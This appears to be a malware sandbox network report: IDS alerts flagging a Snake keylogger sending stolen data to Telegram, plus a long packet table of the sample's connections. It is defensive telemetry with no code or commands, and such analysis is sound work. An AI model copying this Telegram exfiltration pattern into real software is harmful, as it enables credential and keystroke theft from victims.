2025-01-10T23:12:39.041100+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50024	149.154.167.220	443	TCP
2025-01-10T23:12:40.369055+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T23:12:40.813386+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50026	149.154.167.220	443	TCP
2025-01-10T23:12:42.142601+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T23:12:42.356372+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50028	149.154.167.220	443	TCP
2025-01-10T23:12:43.684809+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T23:12:43.983727+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50030	149.154.167.220	443	TCP
2025-01-10T23:12:45.322823+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T23:12:45.635718+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50032	149.154.167.220	443	TCP
2025-01-10T23:12:46.956393+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T23:12:47.246674+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50034	149.154.167.220	443	TCP
2025-01-10T23:12:48.591683+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T23:12:48.883420+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50036	149.154.167.220	443	TCP
2025-01-10T23:12:50.197296+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T23:12:50.406858+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50038	149.154.167.220	443	TCP
2025-01-10T23:12:51.750955+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T23:12:52.085861+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50040	149.154.167.220	443	TCP
2025-01-10T23:12:53.422065+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T23:12:53.725174+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50042	149.154.167.220	443	TCP
2025-01-10T23:12:55.063104+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T23:12:55.278857+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50044	149.154.167.220	443	TCP
2025-01-10T23:12:56.595449+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T23:12:56.980269+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50046	149.154.167.220	443	TCP
2025-01-10T23:13:01.340423+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.9	50048	149.154.167.220	443	TCP
2025-01-10T23:13:01.679383+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.9	50048	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:11:46.517601967 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:46.517657042 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:46.517721891 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:46.529999018 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:46.530028105 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.169908047 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.170104980 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.170648098 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.170706987 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.249708891 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.249741077 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.250154018 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.250282049 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.254636049 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.295339108 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.560981989 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.561058044 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.561110973 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.561203003 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.561335087 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.561378002 CET	443	49972	216.58.206.46	192.168.2.9
Jan 10, 2025 23:11:47.561436892 CET	49972	443	192.168.2.9	216.58.206.46
Jan 10, 2025 23:11:47.588174105 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:47.588200092 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:47.588263988 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:47.588682890 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:47.588696003 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:48.314694881 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:48.314861059 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:48.319823980 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:48.319844961 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:48.320092916 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:48.320159912 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:48.320539951 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:48.363344908 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.020740986 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.020880938 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.026556969 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.026642084 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.040544033 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.040616989 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.040642023 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.040692091 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.048847914 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.048911095 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.107358932 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.107417107 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.107467890 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.107502937 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.107516050 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.107549906 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.109993935 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.110064983 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.110084057 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.110130072 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.116348028 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.116413116 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.116432905 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.116477013 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.122618914 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.122689009 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.122694969 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.122736931 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.128900051 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.128957987 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.128962994 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.129007101 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.135217905 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.135283947 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.135303020 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.135344982 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.141676903 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.141750097 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.141769886 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.141814947 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.147857904 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.147923946 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.147929907 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.147977114 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.154165030 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.154377937 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.154385090 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.154438019 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.160171986 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.160252094 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.160258055 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.160298109 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.166177988 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.166239023 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.166244984 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.166287899 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.172082901 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.172149897 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.178703070 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.178775072 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.178781986 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.178824902 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.193972111 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.194084883 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.194093943 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.194140911 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.194190979 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.194242001 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.194246054 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.194286108 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.194292068 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.194333076 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.196304083 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.196362019 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.196577072 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.196619987 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.202302933 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.202369928 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.202380896 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.202409983 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.202421904 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.202451944 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.208070993 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.208128929 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.208152056 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.208195925 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.213112116 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.213162899 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.213201046 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.213238955 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.218120098 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.218173981 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.218270063 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.218311071 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.226938009 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.227020979 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.227035046 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.227068901 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.236546040 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.236742020 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.236763000 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.236807108 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.237375021 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.237417936 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.237510920 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.237546921 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.238523006 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.238570929 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.238588095 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.238624096 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.241761923 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.241818905 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.241837978 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.241880894 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.246572971 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.246658087 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.246675968 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.246714115 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.250756025 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.250833988 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.250925064 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.250969887 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.255212069 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.255290031 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.255306005 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.255346060 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.260473967 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.260536909 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.260566950 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.260581017 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.260590076 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.260615110 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.260628939 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.260654926 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.260674000 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.260689974 CET	443	49974	142.250.181.225	192.168.2.9
Jan 10, 2025 23:11:51.260699987 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.260732889 CET	49974	443	192.168.2.9	142.250.181.225
Jan 10, 2025 23:11:51.684545040 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:11:51.689374924 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:11:51.689455032 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:11:51.689646006 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:11:51.694447041 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:11:52.399348974 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:11:52.404653072 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:11:52.409651041 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:11:52.623148918 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:11:52.664493084 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:11:53.090621948 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:53.090679884 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.090756893 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:53.093246937 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:53.093266964 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.562853098 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.562927961 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:53.567054033 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:53.567064047 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.567392111 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.572407961 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:53.619328022 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.716386080 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.716579914 CET	443	49976	104.21.96.1	192.168.2.9
Jan 10, 2025 23:11:53.716667891 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:53.722692966 CET	49976	443	192.168.2.9	104.21.96.1
Jan 10, 2025 23:11:59.138529062 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:11:59.143429995 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:11:59.353190899 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:11:59.365492105 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:11:59.365549088 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:11:59.365609884 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:11:59.366173983 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:11:59.366188049 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:11:59.398915052 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:00.009207010 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:00.009301901 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:00.011431932 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:00.011444092 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:00.011751890 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:00.013268948 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:00.055366039 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:00.055486917 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:00.055499077 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:00.281918049 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:00.282054901 CET	443	49977	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:00.282130003 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:00.282722950 CET	49977	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:00.508394003 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:00.509582043 CET	49978	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:00.513525963 CET	80	49975	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:00.513583899 CET	49975	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:00.514353991 CET	80	49978	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:00.514417887 CET	49978	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:00.514538050 CET	49978	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:00.519253969 CET	80	49978	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:01.186801910 CET	80	49978	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:01.188483000 CET	49979	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:01.188539028 CET	443	49979	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:01.188620090 CET	49979	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:01.189344883 CET	49979	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:01.189356089 CET	443	49979	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:01.242640972 CET	49978	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:01.811489105 CET	443	49979	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:01.813391924 CET	49979	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:01.813424110 CET	443	49979	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:01.813467979 CET	49979	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:01.813477039 CET	443	49979	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:02.042906046 CET	443	49979	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:02.042999983 CET	443	49979	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:02.043066025 CET	49979	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:02.043637037 CET	49979	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:02.047421932 CET	49978	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:02.048793077 CET	49980	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:02.052464962 CET	80	49978	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:02.052580118 CET	49978	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:02.053644896 CET	80	49980	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:02.053776026 CET	49980	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:02.053879976 CET	49980	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:02.058702946 CET	80	49980	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:02.727355957 CET	80	49980	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:02.729614019 CET	49981	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:02.729676008 CET	443	49981	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:02.729738951 CET	49981	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:02.730355978 CET	49981	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:02.730370998 CET	443	49981	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:02.789544106 CET	49980	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:03.358978987 CET	443	49981	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:03.365427017 CET	49981	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:03.365447044 CET	443	49981	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:03.365509987 CET	49981	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:03.365514040 CET	443	49981	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:03.589632988 CET	443	49981	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:03.589827061 CET	443	49981	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:03.589895964 CET	49981	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:03.590315104 CET	49981	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:03.595184088 CET	49982	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:03.599998951 CET	80	49982	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:03.600090981 CET	49982	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:03.600290060 CET	49982	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:03.605067968 CET	80	49982	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:04.286410093 CET	80	49982	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:04.288032055 CET	49983	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:04.288083076 CET	443	49983	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:04.288184881 CET	49983	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:04.288506031 CET	49983	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:04.288520098 CET	443	49983	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:04.336559057 CET	49982	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:04.929580927 CET	443	49983	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:04.932656050 CET	49983	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:04.932681084 CET	443	49983	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:04.932777882 CET	49983	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:04.932782888 CET	443	49983	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:05.263801098 CET	443	49983	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:05.263905048 CET	443	49983	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:05.263974905 CET	49983	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:05.264652967 CET	49983	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:05.268471956 CET	49982	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:05.269191027 CET	49984	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:05.273525953 CET	80	49982	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:05.273631096 CET	49982	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:05.273947001 CET	80	49984	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:05.274009943 CET	49984	80	192.168.2.9	132.226.247.73
